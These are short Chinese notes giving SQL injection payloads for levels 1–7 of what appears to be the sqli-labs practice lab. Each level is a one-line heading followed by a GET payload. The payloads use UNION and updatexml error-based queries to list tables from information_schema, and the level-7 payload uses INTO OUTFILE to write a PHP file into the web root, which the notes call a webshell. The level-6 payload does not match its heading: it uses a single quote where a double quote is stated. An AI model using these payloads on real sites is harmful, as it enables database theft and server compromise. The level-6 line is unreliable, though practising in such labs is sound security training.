第一关(get传参,单引号闭合,有回显,无过滤)
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+
第二关(get传参,无闭合,有回显,无过滤)
?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')
第三关(get传参,括号加单引号闭合,有回显,无过滤)
?id=-1') union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+
第四关(get传参,括号加双引号闭合,有回显,无过滤)
?id=-1") union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+
第五关(get传参,单引号闭合,无回显有报错,无过滤)
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
第六关(get传参,双引号闭合,无回显有报错,无过滤)
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
第七关(get传参,单引号加两个括号闭合,无回显有报错,无过滤)写webshell
?id=-1')) union select 1,2,'<?php phpinfo();' into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\sqli\\Less-7\\a.php" --+